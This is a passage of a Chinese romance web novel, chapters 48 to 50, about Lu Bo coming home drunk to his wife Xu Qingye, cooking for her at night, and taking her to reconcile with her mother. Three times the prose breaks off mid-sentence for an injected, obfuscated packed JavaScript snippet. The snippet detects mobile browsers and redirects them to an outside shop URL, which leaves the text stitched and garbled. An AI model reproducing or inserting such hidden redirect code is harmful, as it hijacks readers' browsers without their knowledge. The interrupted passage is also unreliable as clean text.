他忽然想起来这段时间几乎每天都是他先发消息,早安、晚安、吃什么,或者不知道说什么的时候,就干脆甩过去一张照片。 而许清也则是回答他的问题,甚至回江城的日子还一拖再拖。 对面墙上挂着的电视里正在演狗血的八点档。 女主角明明已婚,出个差却忍不住跟男主角劈腿了,不清楚前情,但前两桌居然有人望着男女主接吻的画面感叹:“配一脸,太好磕了!” 真是让人莫名不爽。 正好,演男主角的还是老熟人—— 那个害他跟许清也浪费这么多时间的亲爱的弟弟路远。 “不用了路哥,我开回去,那你明天上班开什么啊?” 石宇贴心地拒绝了,一抬头就看见路薄捻着酒杯,一脸云淡风轻的表情下正恨恨地摇着牙。 “不想开?” 路薄的目光又挪回到漆黑的屏幕上,语气莫名让石宇感觉身边的气温都骤降了三度。 “不是……” 他否认完立马闭上了嘴,埋头包生菜。 瞥见对面的程工程师就要拖着一整块烤肉上烤网烤,石宇立马拿起公筷站起来,接过她手里的生肉道: “程工程师您放着我来,怎么能让美女亲自动手烤肉呢?” 程遇确实不会烤,楞了一秒,也就客气地点头道: “那谢谢你了。” “嗨,不客气。” 石宇一副专业的架势,桌子底下的腿还轻轻踢了踢路薄的脚尖。 “路哥,人刚才帮你解围,咱俩一块侍候着,给程工程师烤点肉?” 程遇喜欢路薄,那在院里都不是秘密。人刚才那么帮着说话,应该感谢一下的,不过路哥已经有女朋友了,单独给她烤肉就不太好。 两人一起,应该就没什么不好了。 石宇自以为要给自己的贴心打一百分。谁知道路薄盯着手机,充耳不闻。 贴到了一颗铁石心肠,他只好一个人尴尬地烤肉,抱歉地朝对面的程遇笑了笑。 几句话一拖延,生肉还没剪开,已经贴在铁网上烧出一声“嘶—”的一声。 猛地增多的烟有点呛人,路薄皱着眉抬头。 “牛五花的最佳烤制时间是8—10秒。” 目光落在被粗暴对待的食材上,路薄在心里无奈地叹了口气,拿起桌上的剪刀,三下五除二把一大块牛五花切成了厚薄大小均等的完美形状。 石宇惊讶地递给他一只烤肉夹。 “让开。” 路薄眼神示意他让位,精确到秒钟地烤完了两大盘牛五花。甚至还精致地在空盘中摆盘一番。 最后一片牛五花归位,石宇端起盘子,正要递给程遇见,却同时被一杯一手拦住。 “她不喜欢吃烤肉。” 游煜砰地一声用果汁杯拦住盘子,另一只手悄悄把一碗温热的南瓜羹放在程遇面前。 路薄的手护在盘前,推着盘子放回了原位。 两人的视线在空中交会,一个眼冒真火,一个目光玩味。 几秒而已,游煜就放下果汁坐回了原位。 “这……” 石宇尴尬地看看肉,又看看路薄。 “本来就不是烤给她的,支支吾吾什么?” 手机屏忽然亮起一瞬,瞥见那个熟悉的头像的时候,路薄突然好心情地示意石宇看对面的程遇。 这位地质院里名的冰山美人,此刻正用调羹小口地喝着南瓜粥。嘴角破天荒地挂着明显的笑意。 一眼也没有看他们这边的烤肉。 “敢情您是他们斗法的受害者?” 石宇好像瞬间发现了什么大八卦,压低声音问。 不过他身边的路薄这会根本没心情回答他。 好不容易等来的消息,居然是告知他归期要再延后一周。 男人把点单页面的手机往桌边一摔,忽然觉得自己呼吸里淡淡酒味第一次有点吸引人。 亏他还暗暗猜着许清也一整天不回消息,是不是瞒着他提前回江城了。 心情大起大落,电视上那张含情脉脉跟女主角告白的脸也显得越发欠揍。 路薄跟着心意,端起酒杯猛灌了一口。 瞥见他手机上还没下单的打包盒,石宇积极地自告奋勇: “哥,我来点打包盒吧。” 烤肉店里生意火爆,服务员好像也有点忙不过来,石宇看了看周围,干脆直接去柜台要。没想到柜台这边结账的人也不少。 盒子还没拿到,肩膀就被人跌跌撞撞蹭了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943139|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下。 石宇转头一看。 路薄正领着打包好的牛五花跌跌撞撞地出门。 ——就知道以他的酒量,这么喝肯定醉了。 石宇伤脑筋扶额。 …… 越野车慢慢滑进小区门口,怕路薄给吐在车上,石宇按开副驾驶的窗户让他吹吹风。 “路哥,你家住几栋啊?” 他回头一看,人格外板正地坐在副驾驶,眼神甚至比路上更清醒,但就是不回答。 反而是直勾勾地盯着前面几米外的路灯。 石宇定睛一看,灯下好像站着个身材娇小的女孩。 “哎哎——” 路薄突然拉开车门就往下跳,虽然车子完全是龟速滑行,但怎么说也还是在驾驶中啊。 他忽然的动作简直把石宇的心脏吓得跟着跳出车外了。 好在石宇眼疾手快地狠狠踩了刹车,这位本来站的都摇摇晃晃的先生才稳稳跳下了车。 下车后的路薄看起来简直清醒的很,简直健步如飞。 许清也远远看见他的车,本来正站在路灯下等他停下,结果突然看见路薄从副驾驶跳下来,也跟着吓了一跳。 男人看起来眼神清明,脚步飞快。 直到他走近了,一个没刹住车,脑袋沉沉地压在许清也肩膀上,许清也才闻见他一身浓重的酒气。 车慢慢滑行到两人跟前,石宇眯着眼睛确认,灯下的女孩怎么看怎么像路薄手机桌面上的女孩。 “嫂子!” 他从车窗探出头,朝许清也挥了挥手。 “路哥他喝醉了,人送到了,那我就先走了啊?” 许清也先是被他一句嫂子给叫懵了,石宇转眼就快掉完头了,她回过神来,客气地寒暄: “幸苦了!下次来家里吃饭。” 越野车渐渐消失在路尽头。 男人靠在她身上,光是肩膀上的脑袋就压得许清也肩上发酸。 夜风吹过,他身上浓厚的酒气中还混杂着油盐味,让女孩下意识皱了眉。 她咬牙拍了拍路薄,佯装恶狠狠道: “说要给你个惊喜,结果你给我个更大的惊喜,是吧?” “起来!” 肩上的男人对这话好像自动屏蔽了,脑袋还不自觉地埋在她颈窝蹭了蹭。 滚烫又带着酒气的气息烫得她一抖。 艰难地扶着他往单元里走,还没走出两步,靠在她肩上的男人慢半拍地忽然开口: “惊喜。” 眼前的白色塑料袋勾在他指弯上打着圈。 看起来好像是装着个打包盒的形状。 “是烤肉!”似乎看出她眼神中的疑惑,路薄冷不丁大声道: “说好请你吃烤肉的。” 许清也早八百年就忘了那顿没吃成的烤肉了。听到他孩子气的话,才忽然想起来好像是有这么回事。 她忍不住笑出了声。 “切,这么点打包食品就像打发我。” 电梯门打开,许清也带着笑意怼他。 话音刚落,肩上的重量一轻,男人摇晃着自己进了电梯。 他小臂靠在电梯壁上,扭过头脑后勺对着她,把额头靠在小臂上。 可能是酒精作用下有点头痛,路薄小幅度地晃了晃额头,垂在额前的刘海被蹭乱,衬衫性感地解开几颗扣,表带下的青筋微凸。 好家伙,还说不得一句。 站稳都困难,还靠着电梯生上气了。 一声不啃地找出钥匙开了门,路薄还是一副“闷气中,勿扰”的状态。 许清也好笑地哄他: “不是说还帮我拿了快递吗?在哪?” 不知道这句话触动了他哪一根神经,总之刚才还一脸傲娇的男人忽然低了头,红着耳根去拉她的手腕,把人带到客厅的角落。 这里快递盒堆成了小山,其实很难一眼不发现。 不过许清也还是假装没看见地等他来告诉。 男人拉着她的手腕站到角落,却转身一步,挡在众多快递前。 许清也疑惑地抬头。 “路太太,我不小气。” 他骨节分明的大手伸出食指,从身后快递盒的方向慢慢划到脸侧,最后迟疑了一秒中,又挪到了唇边。 “两个快递才算一个吻的辛苦费。” “现在就支付吧。” 48. 喂饱你 许清也忍不住弯唇,抬头看他。 路薄侧对着客厅的落地窗,窗外的朦胧的月光影影绰绰地撒进来,柔和地照亮了他深邃的眉眼。 高鼻深目,眸中细碎的星光波动,而视线的正中心,正一瞬不移地落在她身上。 衬衫领口的几颗扣子已经被他暴力地解开,露出性感中蕴藏着力量感的锁骨。 领口还松垮垮地系着她昨天睡前给他选的那条领带。 看来有听话地好好带。 黑色的绳子串绕在他冷白的腕间,许清也顺着他指尖的方向往回看,萤石手链依旧还在它原本的位置上。 许清也满意地点点头。 本来只是被他幼稚地缠了一段时间,才配合地答应了每天的搭配任务。 可现在看起来,这种他浑身上下的细节都与她有关的感觉似乎也还不错。 有一种,所有物被猎人好好标记的感觉。 “猎人”心情愉悦,于是低头沿着脚尖的方向靠近两步。 一、二、踮脚。 许清也垫着脚尖揽住他的脖子,男人醉意上涌,眼神迷离地弯腰配合她的动作,乖乖地让她揽住。 距离近了,彼此的呼吸都霸道地侵略着微冷的空气。 许清也歪着脑袋,视线描摹着面前这个男人。 原本觉得线条凌厉的眉峰好像在夜色的映衬下也变得柔和下来,他眸中倒影着她歪着脑袋看他的样子,笑意下暗涌着波动的情绪。 怎么看怎么可爱。 “啵—” 许清也揽着他的脖子,像幼儿园的老师奖励模范学生一样,在他眉间用力一吻,一触即离。甚至闻出一声清脆的响声。 “做的好路先生。” “奖励你一朵小红花。” 她松开一只手,低头在口袋里翻找几秒,很快像变魔术一样从袋子里真的掏出来一卷手绘胶带。 男人眼神中还有些懵,不过在她松手的一瞬依旧伸手揽住她的腰,下意识地不让怀中的爱人离开半步。 “找到了!” 许清也低头看了一眼他牢牢环在自己腰间的大手,抬头朝他甜甜一笑。松开了环在他脖子上的另一只手,撕下了胶带上的第一朵图案。 “好了,奖励!” 她抬头拨开他额前的黑发,仔仔细细地把那一小片胶带贴在刚才吻过的眉心。 图案赫然是一朵手绘的小红花。 男人精致冷硬的五官中间多了一朵幼稚的小红花,配上他因为醉酒而朦胧懵懂的眼神,看起来莫名和谐地可爱。 芝士不知道什么时候绕到了玄关门口,看着主人的“小红花”造型,也配合地喵了一声。 只不过落地窗边的两人耳边都是彼此的鼻息,压根没有注意到它的存在。 路薄其实长得更像他母亲,蒋影后年轻时那张抬目落眉间处处是风情的脸到了路薄脸上,单论五官,其实是精致到有点女气的。可平时他总是冷着脸,眼睛加深了他冰冷的禁欲感,加上他那副拒人千里之外的臭脾气,压根不会有人发现这一点。 可能只有像她这样,窝在他怀里才能发现。 许清也满意地欣赏着面前的“美色”,好像发现了什么独属于她的秘密,心尖莫名涌起一股隐秘的欢喜。 沉浸于自身情绪中的她没有发现面前男人的眼神慢慢暗了下来。 她抬着头,瓷白的皮肤上像是瓷器上染了一层桃红的颜料,薄红浸润在白嫩的脸颊上,眉眼弯弯,显得整个人如同一只鲜嫩的水蜜桃。 路薄喉结滚动,不动声色地咽了口口水。 饿的。 许清也的脸本来很小,此刻她仰头的角度,更是显得脸颊甚至没有路薄摊开的掌心大。 想知道关于掌心和她脸颊猜想的答案,路薄是这么想的,也是这么做的。 他的掌心从她纤细的腰间向上,托着她的侧脸。 滚烫的温度从掌心蔓延到她侧脸,加剧了她耳根那把愈燃愈烈的火。 吻热烈而下。 他倾身笨拙而热烈地装上她的唇,柔软的唇与齿尖相接,短暂的疼意让许清也下意识微微张开了唇。 短暂的契机,男人很快便掌握了要领,轻柔而霸道地厮磨着她柔软的唇瓣。 许清也下意识闭上了眼,靠在他胸前的手不成力气地抵抗了两秒,就背叛理智,趁机感受着指尖下觊觎已久的肌肉线条。 指尖划过心口,他的薄唇颤动着撤开般寸。 她的脸果然能被他的掌心包裹住。 女孩纤长的睫毛不安地颤动几瞬,睁开眼的瞬间,路薄仿佛在她眸中看见了流动的月波。 许清也还没弄明白他忽然撤开的原因,指尖传来微弱的震动,她听见男人闷闷的笑声。 “体验卡结束,许老师,接下来好好学吧。” “下一次的奖励记得参考以下。” 最后的字节几乎吞没在唇齿间。 下一秒,吻长驱而入。 独属于他绿柑橘混合着浅淡油墨的味道侵袭在她的鼻尖,温热地、干扰着理智的工作。 他捏在她腰侧的大手渐渐上移,唇齿间剥夺着她的呼吸。 许清也如同一只离岸的金鱼,跟随着他掌心的方向,迫切地追随着氧气。 她跌跌撞撞间倚靠着他的胸膛,酒气蒸腾在两人中间,分不清谁才是那个喝醉的人。 晕乎乎的感觉一直持续到身后靠上一片柔软。 许清也想要撑着手从大床上坐起来,路薄炙热的掌心却沿着她的手腕,指尖滑进指缝间,稳稳地相扣。 “唔……不行。” 冰冷的被面让她短暂地清醒过来,偏开头避开他小狗一般粘人的亲吻,许清也眼神躲闪地表达拒绝。 只可惜喝醉的人似乎总是会筛选性地只听见自己想听见的话,也许是借着喝醉的名义,他追逐不上她的唇,亲吻便沿着耳根温柔而下。 “小也,小也,宝宝……” 他的音色低沉,犹如舞曲中的低声弦乐组,绵长地在耳边喊着她的名字。 轻飘飘的感觉几乎扯着她飘摇在太平洋最小的一座岛屿上,危险又浪漫,吸引力堪称致命。 缱绻肉麻的“宝宝”刺激着许清也的神经,她轻咬着发麻的下唇,凭借着最后一点理智去推他的肩。 原本只是最后象征性的挣扎。 想不到她轻轻的一推,却像点穴一样定住了他的动作。 “为什么……” 路薄的脸依旧埋在她颈间,声音恢复了往常的平静,除了微弱的喘息声,她几乎听不出差别。 许清也尴尬地羞红了脸。 红润过分的唇张了又张,不知道为什么,总觉得这气氛上说不出“生理期”的话,可又不得不说。 她忽然烦躁地推着他留恋不肯离开的脑袋。 说到底都怪他。 现在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12963852|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样,难受的又不是他一个人。 不像刚才,现在他固执的脑后勺好像比刚才重了千百倍。 许清也正心烦又羞窘,耳边忽然传来他黏糊在颈间的声音。 “为什么,为什么不肯爱我?” 这声音简直不像他。 委屈、黏糊、还带着无理取闹的纠缠。让许清也不禁愣了神。 “什么时候不肯爱你了?” 心一软,她指尖忍住不抚着他的发。语气像是在哄小孩子。 他忽然噤了声,只是粘人地在她耳根极其珍重地亲了亲。 察觉到路薄动作里隐隐的不安,都说酒后吐真言,平时难有机会,许清也循循善诱地哄骗道: “一直都爱的呀。为什么要委屈呢?” 沉沉压在她身上的男人忽然一翻身躺倒在她身侧,赌气似地把脑袋转向了另一边。 “你从来,都没等过我。” 话虽然这么说,许清也垂眸,她的手却始终被他紧紧握着。 不就上次喝醉了一大早逃跑过一次嘛。 许清也看着男人黑暗中轮廓清晰的侧脸,无奈地叹了口气。 真够记仇的。 再想强势地掰过他的脸,一起身,却发现路薄呼吸绵长而平稳,几秒钟功夫,已经睡得香甜。 许清也泄气地躺了回去,合上眼平稳呼吸,最终还是忍不住扯过床头的被子盖在男人腰间。 也许就连她自己都没有发现,这一次她全心都是面前这个叫做路薄的男人。 在冬末夜晚,躺在爱人的怀中。 等待这个字眼,她没有再分给记忆中的那个男孩了。 ——— 凌晨三点多,一阵头疼剧烈地侵袭着前额。 路薄从梦中惊醒,抬手想要抵住发疼的额角,却发现十指正紧扣着女孩小巧秀气的手。 他垂眸着看许清也近在咫尺的脸,忍不住弯唇看了一遍又一遍。 原来昨晚的记忆不是梦。 怀里的人那么真切地靠在他怀里,共享着冬末初春温暖的被窝。 路薄的动作太大,怀中人被扰得不安地皱了皱眉,迷迷糊糊睁开眼,就看见路薄正撑着额角,目光专注地看着她的睡颜。 许清也瞬间清醒,埋着脑袋进被窝,红着脸紧急检查自己会不会睡到不小心流口水了。 好在,唇畔一片干燥,红灯算是暂时暗下了。 指尖触碰到柔软的唇瓣,黑暗中,她迷迷糊糊地按了按下唇,脑中浮现出一段脸红心跳的回忆。 “咕—咕咕———” 空荡荡的肚子趁机发出抗议,试图从唇瓣那争夺主人的注意力。 许清也泄气地捂住脸。 她悄悄把被子拉过头顶更高一点,试图藏住自己羞窘的神情。 感觉到身边一阵冷风从缝隙中钻入温暖的被窝,许清也本能地哆嗦一瞬,掀开被子,只露着一双眼睛愣愣地看着他翻身起来穿外套的背影。 “你去哪?” 当下,她也没想到自己还能问出这么傻乎乎的问题。 深更半夜,这里就是家,路薄还能去哪? “去厨房。” 果不其然,他轻笑一声回头,在床头坐下,目光温柔地摸了摸她的发顶。 “没办法,要负责喂饱我们家宝宝的肚子才行啊。” 昏暗中,独留许清也一个人悄悄以手做扇,扇着发烫的脸颊。 49. 名词还是动词 窗外是一片沉静的黑。 厨房磨砂质的推拉门挡住男人在水池边忙碌的大半身影,也挡住了灶台上呛人的油烟。 为了节省时间,这顿饭路薄是边处理食材边做的。 右手边的小锅里的水刚刚沸腾,趁着下锅面条的功夫,他已经迅速处理好冷冻层拿出来的几只大虾,准备好了碗筷。 许清也撑着脑袋坐在桌边,目光追随着推拉门后那抹模糊的身影。 “滋啦—” 油花炸开,一股油炸的香味从门缝中钻出来。许清也摸摸肚子,终于被勾起了馋虫,不得不承认她的确是饿了。 一碗简单的海鲜面很快出锅,几颗诱人的鲜虾跟蛋花一起浅浅铺在面条上。 几片叶子菜跟零星的葱花作为这一大碗鲜香诱人的海鲜面中唯一的绿色点缀,漂浮在醇香的汤汁面上。 “尝尝?” 男人把筷子搁在碗边。 许清也深吸一口气,满满的面食香味让她满足地弯起唇角,飞快地举起筷子。 路薄随意套着一件单薄的纯色毛衣,碎花围裙还没解下来,靠在桌对面看着她动筷的动作,眼底满是温柔。 挂着汤汁的面条很筋道,许清也刚叉起一大勺,忽然顿住了动作。 “太多了,我一个人吃不完的。” 她抬头的时候正好装上他专注的眼神,心里泛起一阵甜蜜,语气也不自觉地变得软绵。 “你跟我一起吃嘛。” 话一出口,许清也自己都愣了一瞬。 这么甜甜嗲嗲的声音居然是她自己发出来的? 捧着碗边的女孩忍不住轻微地耸了耸肩,试图抖掉一身鸡皮疙瘩。 这个角度,她的动作全都被路薄收入眼底。 他唇角笑意更深,没多拒绝道: “好。” 下一瞬,男人修长的指节撑着桌边,俯身就着她叉在半空中的筷子尝了一口。 毛衣领口宽大,他一俯身,许清也愣在原地,不可避免地看见了他锁骨边一片暧昧的红痕。 至于是谁干的,不言而喻。 “有点咸了。” 他皱起眉,似乎对口味不太满意。 在诚实评价这个领域,路薄哪怕是对自己,话也是一样的严苛和不动听。 “你慢点吃,我去重做一份。” 他敲了敲碗边,直起身要去冰箱拿食材。 许清也赶紧拦住他。 “不用不用。” “你再拿个碗,我们分着吃就好了。” 其实这也是她本来的意思。 他闻言顿住脚步,轻抬的眉尾仿佛在质疑她话里的真伪。 “我爱吃咸一点的,真的刚好。” 许清也极力让自己的神情看起来真挚一点。 女孩刻意严肃神情的样子太可爱,路薄忍住笑意,故意走到她身边,伸手去拿碗。 “不行,我还是重做一份。” 路薄的话里其实已经带了笑意,只不过许清也腮帮子里还装着一口没咽下的面条,看见他伸手抢碗,马上护食地拦住,根本没多分辨。 着急地咽下嘴里的海鲜面,她按住他碰到碗边的手道: “我就喜欢重口味一点的。” 不知道是不是汤汁的油光使然,她蜜桃色的唇瓣在餐厅的灯下显得饱满莹润,护食的动作难得显出几分稚气。 喜欢重口味…… 她压根就不知道自己在说什么,也不知道这样的自己到底有多可爱。 男人眸色一暗,捧着她小巧的下巴,克制地轻啄她的唇瓣。 “吃吧。” 一触即离的吻不带一丝情欲的味道,这种珍重的温柔反而更让许清也沉溺。 她还没反应过来,路薄就退开半寸,目光灼灼地示意她吃面。 看许清也不动作,他好笑地扯了扯毛衣领口,语气随意地重复她的话: “你喜欢口味重的,这点我已经知道了。” 反应过来他话里的意思,许清也瞬间脸爆红。 “我才不是,那都是你……算了!” 她争辩到一半,半是气恼半是羞赫地转过脑袋,埋下头吃面。 分明都是他哄着骗着,她才…… “我们小也不气啊。” 路薄学着她父母的语气,指尖擦过她盘在脑后略显杂乱的几缕发丝,压低声音,像是说悄悄话一样在她耳边轻念了一句,就转身去处理厨房了。 许清也机械地吃着面,脑中全是他分不清调笑还是认真的轻哄: “你的重口,我多求之不得啊。” 厨房重新响起水声,印象里她很少看见他下厨。但每次下厨,他都早早备好食材,又早早处理完下厨后的残局,她几乎看不见他的厨房狼藉的样子。 夜深,芝士窝在客厅一角的小窝里,睡得香甜。 许清也吃饱后,本想把手上的碗给洗了,却被路薄伸手接走。 抽了张纸擦拭唇边,指尖不小心擦过唇珠,她望着厨房门后男人模糊的背影,脑中闪过他或温柔或炙热的亲吻。 可以确定的是,不论是哪一种,她的心都雀跃着在说喜欢。 刚才路薄的语气有一瞬间让她想起了从前。 她的家曾经也有一家三口幸福和睦的时光。许清也从不想否认那段日子的真实,只是许民辉的爱太短。 尹虹生下她之后,身体一直不太好,也就离开许氏专心照顾她。先提出离婚虽然很伤人,但他却选择了更卑鄙的方法,只把他们母女两个蒙在鼓里,陷在许氏随时可能破产的荒梦中。 在离婚协议上签字后,尹虹带着她搬回了他们一家还在许氏创业阶段住过的老房子。 许民辉的生意蒸蒸日上,回家的日子却越来越少,尹女士就这样等了一天又一天,直到再也骗不过自己,却还在试图骗她。 十几岁的许清也靠在老房子的客厅沙发上等许民辉回家,抱着政治书一遍一遍背到睡着,也没有等到他的身影。 因为父母的原因,即便后来遇到了江闻舟,每一次尹虹以死相逼、不断地尝试自.杀,都是他忙前忙后陪着她。哪怕是后来迫于恩情,他也跟尹女士站到一条战线上,许清也也从来没有恨过他。 可是他很好,她却从来没有想过结婚。 对她来说,婚姻是一个充满谎言、恐惧,和无尽等待的名词,意味着一辈子困在一个名为失望的星球上。 但在这个夜里,她忽然发现婚姻也可以是个动词。 熟睡的小猫,爱人的背影,厨房的流水声,还有装满美食的肚子。 一切都是具象而流动的画面。 “不困吗?” 男人推开推拉门,随手把碎花围裙挂在椅子靠背上。 抬头看见她撑着脑袋,目光跟随他的样子,忍不住在她光洁的额头上偷袭地一吻。 “快去睡吧,明天还有事要办。” 许清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13038250|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也想不到周末还有什么事要办,皱眉歪了歪脑袋。 以为她是想歪了,路薄摸了摸她微凉的后颈,用手心的温度捂着笑道: “想什么呢?” “没什么。” 许清也笑着摇了摇头,挂着他的手臂起身。 她只是在想,二十岁的她一定想不到,那个曾经对婚姻避之不及的女孩,有一天生活中也会出现一个名词为丈夫的角色。 餐厅的灯暗下来。 填饱了肚子,靠在他胳膊边,困意也渐渐滋长。 许清也钻上床,头一次在清醒地情况下往他火炉般温暖的怀里靠了靠,抬头看了一眼男人棱角清晰的侧脸,安心地闭上眼。 嗯。 二十岁的她应该更想不到,对于这场意料外的婚姻,至少至今,她还没有后悔过。 ———— 人的想法怎么能变得这么快? 一夜之间,也许就能完全改变。 比如现在,早晨八点半,许清也被路薄从被窝里半哄半威胁地拉起床,提着他准备好的早饭,站在了七楼自家门前,始终敲不下去门。 “一定要今天吗?” 她泄气地放下手,转身近乎耍赖地问。 “小也,”路薄的脸上明摆写着不行,他跟着叹了口气,“再等的话你送的可能就是午饭了。” “凭什么又是我先低头。” 许清也小声嘀咕着,余光瞥了眼身后男人“金刚”一般立在身后的身影,窘切之下看他那张帅脸也变得不怎么满意起来。 这男人怎么连她怎么跟母亲相处也要管。 她好像对这场婚姻开始感到后悔了。 脸疼。 路薄站在许清也身后,原本就比她高出一个头的身高优势很便捷地帮助他看清楚了女孩指间一点点纠结的小动作,也听清楚了她不大声的抱怨。 宿醉醒来,他其实还有点头疼,但这次却格外地有耐心。 他既没有回应,也没有催促,只是站在她身后静静等着。 实际上许清也只是有点心虚。 一再推迟回江城的时间,其实更多的不是不习惯跟他相处模式的转变,而是不知道该怎么面对尹女士。 理智上她一次又一次骗了她,许清也是担心她的身体,可也会感觉到心沉甸甸的,很累。 休息过后,感性却开始悄悄拉扯。 母女关系不是那么容易一刀两断的关系。 它像是缠在一起打了死结的发丝,耐心解开的过程会很累,但想要一下子扯断,却一定疼得你龇牙咧嘴,说不准还要伤到头皮。 许清也下不了决心“扯断”。 路薄正是猜到了这一点,才会提前安排好这些。让她一回到江城,就态度“强硬”地拉着她来敲门。 许清也不笨,她当然想得清楚这一点。 她只是有点变扭地过去自尊的一关,为什么每次都要她低头?这样会不会太傻了一点? 路薄看出来她变扭的犹豫,伸手拉住她垂在身侧的手。 “先低头的人不是傻,他们只是更在乎。” “更在乎,并不是什么丢脸的事。” 许清也抬头看他,总觉得他话里说的不仅仅是她,却无法从他侧脸中找到一丝不同的情绪。 掌心被他包裹在手心,路薄握着她的手敲了敲门道: “妈,是我们。” “小也给你带了早饭,请您开开门吧。” 50. 好巧 妈? 许清也忘了挣扎,惊讶地抬头看他。 显然没想到他会突然改口。 路薄坦然地挑眉,自然地好像是她在大惊小怪。 门吱呀一声打开,先于那张熟悉的脸庞出现在视线中的,是尹女士过分瘦削纤细的手腕。 许清也下意识淘出记忆中的画面比较着,总觉得这段日子尹女士又瘦了。 “小也……” 门里的女人视线落在许清也手里的保温盒上,语气显得有些紧张而不知所措。 “早饭。” 许清也把手上的保温盒往女人怀里一塞,转身就要下楼。 目光划过尹虹瘦弱到腕骨突出的手腕,她眼中划过一丝纠结,最后还是转了身。 还没迈出两步,指尖就被还站在原地的男人勾住。 “你不走吗?” 许清也晃了晃路薄的手。 她知道他是心疼她,想要缓和他们母女的关系。 路薄也许只以为她们是再平常不过的一次吵架,可许清也自己清楚,只要尹虹一天不放弃许氏,真正的矛盾就像是一颗定时炸弹,随时埋在两人中间,终究要迎来一次大爆炸。 他就像颗扎根的树,顿在原地不动。 许清也脾气上来,甩开他的手,独自下楼,就听见身后尹虹微弱试探着的声音: “吃完再走好不好?” “小也,妈妈刚刚做了你上次想吃的炸春卷。” 路薄这回倒是动了,伸出胳膊揽住她转身往屋里走。 这一拉,许清也本来就犹豫的心思算是有了台阶下,也就顺着他的力气转身回了家。 屋子里的陈设跟之前没什么两样,唯一变化的可能就是多了调料和锅具的厨房,还有塞满食材的冰箱。 直到在餐桌边坐下,气氛都还算和谐。 早饭路薄做了酒酿丸子和煎饺,配上尹虹刚做的炸春卷,也算是丰盛。 饭桌上只聊她旅行中的见闻和些无关痛痒的话题,本来就是回家吃饭,许清也渐渐也自在不少。 其实许清也看得出来,尹虹大半顿饭都没往嘴里送两口,净是在偷偷看她。 埋头喝着温热香甜的酒酿,热气忽然蒸得她眼眶有点湿润。 她从来不怀疑尹女士对她的爱,但这份爱同时捆绑着责任,把许氏拿回来的责任。爱渐渐变得沉甸甸的时候,无法负担,该如何面对才是对就成了无解的命题。 许清也夹了一只煎饺,送到尹虹的碗里。 “多吃点。” 她变扭地抿唇,低头勺起一颗糯米丸子,小声道: “路薄的厨艺还不错的。” “以前还担心你天天吃外卖不健康,有小薄在,妈妈这回算是放心了。” 尹虹看着女儿夹到自己碗里的煎饺楞了一瞬,随即像是彻底松下一口气,笑着夹起饺子。 气氛勉强回温,虽然仍有隔阂尴尬,但已经比刚才温馨不少。 “小也。” “你这次回来,还打算继续在杂志社上班吗?” 饭桌上的母女都小心翼翼地避开彼此敏感的话题,唯有路薄毫无顾忌地直接把问题摆到了桌面上。 许清也瞥了一眼尹虹,见她没露出什么着急的神色。 已经辞职了,杂志社这次风波也让她有些寒心,当然不会再回去了。 虽然她还没有完全想好,但这关节上还是赌气地轻飘飘道: “当然。” “插画师一直都是我最想做的,我不会放弃的。” 意有所指的话,像是特意说给尹虹听的。可惜本以为会大怒的人竟然什么也没说。 “嗯。” 路薄点了点头,好像刚才只是闲聊了某个无关紧要的话题。 处处透着诡异,许清也狐疑的目光悄悄划过尹虹和路薄,步步紧逼地问道: “妈,你不反对吗?” 尹虹夹着饺子的筷子一顿,放下碗筷道: “小也,妈妈当然……会支持你的一切决定的。” 许清也试图从她的脸上找到一点不自然或是欺骗的意味,却始终没有找到。 她不自在地迅速吃完了早饭,就拉着路薄下了楼。 “到底怎么回事?” “你现在老实告诉我还来得及,你到底跟我妈说了什么?” 许清也抱臂靠在六楼的门背上,挡住门锁,一副坦白从宽抗拒从严的拷问样子。 “回江城后,你妈妈的确问过我一次你的近况。” 路薄本来也没打算开门,牵着她的手去按电梯。 电梯本来就在六楼附近,很快叮地一声打开。许清也全心都跟在他说了一半的话上面,乖乖跟着他进了电梯。 “然后呢?” “实话实说了而已。” “就只回答了这个?” 许清也一瞬不错地盯着他,有点半信半疑。 这话要是别人说出来,她一定不信。但路薄一向不是什么会说好话的人,指望他劝和简直比太阳从西边出来还难。 在她犹疑的目光中,路薄轻轻点了点头。 他的确没说谎,只是把他的所见如实转告了而已。 当然,这里面也包括了许至言那晚跟他说过的部分话。 顶多只是帮许至言联系,让他和尹虹见了一面,摆明了不会要许氏的立场,再签了份承诺的合同而已。 至于许至言跟尹虹说的话,就算是有他的搭桥的成分,也不能算是他说的吧? 出了家门,路薄照旧是一副再冷漠正经不过的表情,许清也看不出来一点破绽,只好暂且相信了他的话。 “那,现在还出门干嘛?” 许清也被他拉着出了电梯门,才发觉他好像还有地方要带她去。 路薄捂着她微凉的指尖道: “买衣服。” …… 